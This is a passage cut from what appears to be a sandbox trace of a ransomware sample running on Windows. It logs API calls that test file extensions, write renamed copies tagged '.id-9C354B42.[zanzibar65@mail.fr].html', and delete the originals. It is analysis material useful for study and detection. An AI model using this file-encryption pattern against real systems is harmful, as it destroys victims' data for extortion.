dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0267.797] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=9803) returned 1 [0267.797] CloseHandle (hObject=0x2fc) returned 1 [0267.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0267.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0267.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0267.797] lstrlenW (lpString=".doc") returned 4 [0267.797] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.797] lstrlenW (lpString=".docx") returned 5 [0267.797] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0267.797] lstrlenW (lpString=".pdf") returned 4 [0267.797] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.797] lstrlenW (lpString=".xls") returned 4 [0267.797] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.798] lstrlenW (lpString=".xlsx") returned 5 [0267.798] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0267.798] lstrlenW (lpString=".ppt") returned 4 [0267.798] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0267.798] lstrlenW (lpString=".zip") returned 4 [0267.798] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.798] lstrlenW (lpString=".rar") returned 4 [0267.798] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.798] lstrlenW (lpString=".bz2") returned 4 [0267.798] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.798] lstrlenW (lpString=".7z") returned 3 [0267.798] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0267.798] lstrlenW (lpString=".dbf") returned 4 [0267.798] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.147] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.147] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.148] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.149] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.149] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.149] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.150] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.187] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0270.646] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.646] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.953] GetLastError () returned 0x0 [0270.953] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x7e4, lpOverlapped=0x0) returned 1 [0270.966] WriteFile (in: hFile=0x37c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0270.966] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.966] WriteFile (in: hFile=0x37c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.966] SetEndOfFile (hFile=0x37c) returned 1 [0270.966] CloseHandle (hObject=0x37c) returned 1 [0270.966] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.966] SetEndOfFile (hFile=0x2e4) returned 1 [0270.969] CloseHandle (hObject=0x2e4) returned 1 [0270.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0270.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.969] lstrlenW (lpString=".doc") returned 4 [0270.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.969] lstrlenW (lpString=".docx") returned 5 [0270.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.969] lstrlenW (lpString=".pdf") returned 4 [0270.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.969] lstrlenW (lpString=".xls") returned 4 [0270.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.969] lstrlenW (lpString=".xlsx") returned 5 [0270.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.970] lstrlenW (lpString=".ppt") returned 4 [0270.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.970] lstrlenW (lpString=".zip") returned 4 [0270.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.970] lstrlenW (lpString=".rar") returned 4 [0270.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.970] lstrlenW (lpString=".bz2") returned 4 [0270.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.970] lstrlenW (lpString=".7z") returned 3 [0270.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.970] lstrlenW (lpString=".dbf") returned 4 [0270.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.970] lstrlenW (lpString=".1cd") returned 4 [0270.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.970] lstrlenW (lpString=".jpg") returned 4 [0270.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.971] lstrlenW (lpString=".doc") returned 4 [0270.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.971] lstrlenW (lpString=".docx") returned 5 [0270.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.971] lstrlenW (lpString=".pdf") returned 4 [0270.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.971] lstrlenW (lpString=".xls") returned 4 [0270.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.971] lstrlenW (lpString=".xlsx") returned 5 [0270.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.971] lstrlenW (lpString=".ppt") returned 4 [0270.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.971] lstrlenW (lpString=".zip") returned 4 [0270.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.971] lstrlenW (lpString=".rar") returned 4 [0270.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.971] lstrlenW (lpString=".bz2") returned 4 [0270.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.971] lstrlenW (lpString=".7z") returned 3 [0270.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.971] lstrlenW (lpString=".dbf") returned 4 [0270.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.971] lstrlenW (lpString=".1cd") returned 4 [0270.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0270.971] lstrlenW (lpString=".jpg") returned 4 [0270.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.972] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0270.972] lstrlenW (lpString="DD01180_.WMF") returned 12 [0270.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0270.972] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=2084) returned 1 [0270.972] CloseHandle (hObject=0x2e4) returned 1 [0270.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0270.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0270.972] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.972] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.973] GetLastError () returned 0x0 [0270.973] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x824, lpOverlapped=0x0) returned 1 [0270.974] WriteFile (in: hFile=0x37c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x830, lpOverlapped=0x0) returned 1 [0270.975] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.975] WriteFile (in: hFile=0x37c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.975] SetEndOfFile (hFile=0x37c) returned 1 [0270.975] CloseHandle (hObject=0x37c) returned 1 [0270.975] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.975] SetEndOfFile (hFile=0x2e4) returned 1 [0270.977] CloseHandle (hObject=0x2e4) returned 1 [0270.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0270.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.978] lstrlenW (lpString=".doc") returned 4 [0270.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.978] lstrlenW (lpString=".docx") returned 5 [0270.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.978] lstrlenW (lpString=".pdf") returned 4 [0270.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.978] lstrlenW (lpString=".xls") returned 4 [0270.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.978] lstrlenW (lpString=".xlsx") returned 5 [0270.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.978] lstrlenW (lpString=".ppt") returned 4 [0270.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.978] lstrlenW (lpString=".zip") returned 4 [0270.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.978] lstrlenW (lpString=".rar") returned 4 [0270.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.978] lstrlenW (lpString=".bz2") returned 4 [0270.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.979] lstrlenW (lpString=".7z") returned 3 [0270.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.979] lstrlenW (lpString=".dbf") returned 4 [0270.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.979] lstrlenW (lpString=".1cd") returned 4 [0270.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.979] lstrlenW (lpString=".jpg") returned 4 [0270.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.979] lstrlenW (lpString=".doc") returned 4 [0270.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.979] lstrlenW (lpString=".docx") returned 5 [0270.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.979] lstrlenW (lpString=".pdf") returned 4 [0270.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.979] lstrlenW (lpString=".xls") returned 4 [0270.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.979] lstrlenW (lpString=".xlsx") returned 5 [0270.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.979] lstrlenW (lpString=".ppt") returned 4 [0270.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.980] lstrlenW (lpString=".zip") returned 4 [0270.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.980] lstrlenW (lpString=".rar") returned 4 [0270.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.980] lstrlenW (lpString=".bz2") returned 4 [0270.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.980] lstrlenW (lpString=".7z") returned 3 [0270.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.980] lstrlenW (lpString=".dbf") returned 4 [0270.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.980] lstrlenW (lpString=".1cd") returned 4 [0270.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0270.980] lstrlenW (lpString=".jpg") returned 4 [0270.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.980] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0270.980] lstrlenW (lpString="DD01181_.WMF") returned 12 [0270.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0270.981] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=1448) returned 1 [0270.981] CloseHandle (hObject=0x2e4) returned 1 [0270.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20 [0270.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0270.982] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.982] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 